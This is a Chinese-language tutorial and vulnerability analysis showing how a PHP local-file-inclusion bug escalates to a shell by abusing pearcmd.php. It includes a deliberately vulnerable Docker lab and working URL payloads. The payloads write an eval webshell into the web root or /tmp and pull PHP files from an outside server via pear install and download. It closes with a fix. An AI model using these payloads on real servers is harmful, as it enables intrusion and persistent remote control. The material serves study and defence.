利用 pearcmd 从 LFI 到 getshell

0x01 漏洞描述

通过一个本地文件包含漏洞就达到 getshell,也叫 PHP 裸本地文件包含。尤其在 Docker 这种干净的环境中,本身缺少很多命令和利用环境,利用 pearcmd 的方法就可以不依赖文件上传写入 shell。

Pear(PHP Extension and Application Repository) 将 PHP 程序开发过程中常用的功能编写成类库,涵盖了页面呈现、数据库访问、文件操作、数据结构、缓存操作、网络协议、WebService 等许多方面,用户可以通过下载这些类库并适当的作一些定制以实现自己需要的功能。避免重复发明“车轮”。

Pear 在 PHP 7.3 及以前版本是默认安装的,后续只会在编译 PHP 的时候使用--with-pear参数才会安装。但 Docker 任意版本的镜像中都包含了 pear。

Pear 的本质是一个命令行工具,pearcmd.php 默认的安装路径为/usr/local/lib/php/pearcmd.php。在命令行状态下,可以使用 pear 或者 /usr/local/lib/php/pearcmd.php 执行命令。

0x02 漏洞复现

利用条件

  • 安装pecl/pear
  • php.ini 中register_argc_argv=On开启
  • 存在文件包含

在 Docker 环境下 register_argc_argv=On 默认开启,且 Docker 下任意版本都安装了 pear。只需要在 Docker 环境下构建一个存在文件包含的场景就可以了。

大部分的 CTF 题目都是在 Docker 环境中搭建的,由于 Docker 环境中任何 PHP 版本都会自带 pear 和开启 register_argc_argv,因此只要出现了文件包含,就可以利用这个漏洞 getshell,并且绝大多数情况都可以绕过题目的限制。

环境搭建

为了方便直接使用 Docker 进行拉取

1
docker pull php:7.0-apache

创建一个目录

1
mkdir /php/www

写一个文件包含,参数是page

1
vim /php/www/index.php
1
2
3
4
<?php
error_reporting(0);
echo index;
include($_GET['page']);

启动容器

1
docker run -itd -v /php/www:/var/www/html -p 80:80 php:7.0-apache

访问一下http://127.0.0.1/index.php,如果页面显示”index“说明完成了环境搭建。

漏洞利用

首先使用 pear 工具中的 config-create 命令,上面的 index.php 中,我们故意写了一个文件包含功能,参数是page,所以在 payload 中,需要使用page参数包含 pearcmd.php 调用这个工具,之后编写木马并写入/var/www/html/shell.php

根据以上原理,拼写 payload。

1
?page=/usr/local/lib/php/pearcmd.php&+config-create+/<?@eval($_POST['shell']);?>+/var/www/html/shell.php

对网站抓包,发送 payload,可以从响应包里看见执行了 pear 的命令。

image-20230905183607259

使用蚁剑连接,成功连接。

image-20230903120847203

0x03 漏洞分析

漏洞原理

查看 pearcmd.php 发现了一个关键字argv是传递命令行参数的,其中使用了readPHPArgv()函数。

1
2
3
4
5
6
7
8
9
PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
unset($argv[1]);
$argv = array_values($argv);
}

跟进到 Console/Getopt.phpreadPHPArgv()函数内。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

不过这里可以思考,既然 pear 是一个命令行工具。如果参数可控,是不是就可以通过控制参数,利用 pear 工具。

测试一下,写一个arg.php

1
2
3
4
5
<?php
var_dump($argv);
echo "<br>";
var_dump($_SERVER['argv']);
?>

写几个参数访问一下http://127.0.0.1/arg.php?id=1&type=1,可以看见,$_SERVER是可控的,获取的是 GET 请求的参数。

1
2
NULL
array(1) { [0]=> string(11) "id=1&type=1" }

通过上面的打印结果发现,$_SERVER并不认为&符号是参数的分隔符,而是将+作为分隔符。

image-20230905175508245

接下来看看 Pear 的命令表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Commands:
build Build an Extension From C Source
bundle Unpacks a Pecl Package
channel-add Add a Channel
channel-alias Specify an alias to a channel name
channel-delete Remove a Channel From the List
channel-discover Initialize a Channel from its server
channel-info Retrieve Information on a Channel
channel-login Connects and authenticates to remote channel server
channel-logout Logs out from the remote channel server
channel-update Update an Existing Channel
clear-cache Clear Web Services Cache
config-create Create a Default configuration file
config-get Show One Setting
config-help Show Information About Setting
config-set Change Setting
config-show Show All Settings
convert Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff Run a "cvs diff" for all files in a package
cvstag Set CVS Release Tag
download Download Package
download-all Downloads each available package from the default channel
info Display information about a package
install Install Package
list List Installed Packages In The Default Channel
list-all List All Packages
list-channels List Available Channels
list-files List Files In Installed Package
list-upgrades List Available Upgrades
login Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm Builds an RPM spec file from a PEAR package
package Build Package
package-dependencies Show package dependencies
package-validate Validate Package Consistency
pickle Build PECL Package
remote-info Information About Remote Packages
remote-list List Remote Packages
run-scripts Run Post-Install Scripts bundled with a package
run-tests Run Regression Tests
search Search remote package database
shell-test Shell Script Test
sign Sign a package distribution file
svntag Set SVN Release Tag
uninstall Un-install Package
update-channels Update the Channel List
upgrade Upgrade Package
upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]
Usage: pear [options] command [command-options] <parameters>
Type "pear help options" to list all options.
Type "pear help shortcuts" to list all command shortcuts.
Type "pear help version" or "pear version" to list version information.
Type "pear help <command>" to get the help for the specified command.

其中可以看到config-create是添加配置文件的命令,这个命令的功能是传入一个绝对路径,把这个路径拼接到配置文件中,但这个配置文件的路径是我们可以指定的。

在终端执行下面的命令,测试一下,将/test@拼接到配置路径中,并把配置文件放到/var/www/html/test.php目录下。(这里需要注意两个地方都需要填写绝对路径。)

1
pear config-create /test@ /var/www/html/test.php

打开test.php可以看出来使用的/test@确实被拼接,并且写入到文件内。

image-20230905222903259

再来看看上面的 payload 就可以了解其中的含义了。通过文件包含使用pearcmd.php,以+作为参数分隔符,使用config-create命令将<?@eval($_POST['shell']);写入/var/www/html/shell.php

1
?page=/usr/local/lib/php/pearcmd.php&+config-create+/<?@eval($_POST['shell']);?>+/var/www/html/shell.php

低权限写入

有时候我们会遇到 Web 目录没有写入权限、不知道 Web 目录的绝对路径、白名单不允许上传 PHP 文件这种情况。

这时候就可以将木马写入低权限的/tmp目录下,并利用文件包含的特性触发漏洞。这里将文件路径改为/tmp下并把文件后缀改为txt,写入低权限目录。

1
?page=/usr/local/lib/php/pearcmd.php&+config-create+/<?@eval($_POST['shell']);?>+/tmp/shell.txt

image-20230905224554458

再包含/tmp/shell.txt,使用蚁剑进行连接,显示连接成功。

image-20230905224853274

漏洞利用拓展

远程安装

使用 VPS 或虚拟机,新建一个phpinfo.php

1
2
<?php
phpinfo();

这里使用 Python 开启一个服务,模拟 VPS 上一个可以被访问的文件。

1
python3 -m http.server

pear 的 install 命令如下

1
pear install VPS/phpinfo.php

根据命令构造 Payload

1
?page=/usr/local/lib/php/pearcmd.php&+install+http://192.168.128.131:8000/phpinfo.php

默认的包安装路径是在/tmp/pear/download/下。

image-20230905232554591

访问一下http://127.0.0.1/index.php?page=/tmp/pear/download/phpinfo.php,可以看见返回了 phpinfo 的界面。

image-20230905232421501

远程下载

使用

1
pear down http://vps/phpinfo.php

同理构造一下

1
?page=/usr/local/lib/php/pearcmd.php&+down+http://192.168.128.131:8000/phpinfo.php

默认路径就是在 Web 目录下,并且还会返回 Web 目录的绝对路径。

image-20230905233525545

0x04 修复建议

将 php.ini 中的register_argc_argv设置为Off

0x05 参考

https://www.leavesongs.com/PENETRATION/Docker-php-include-getshell.html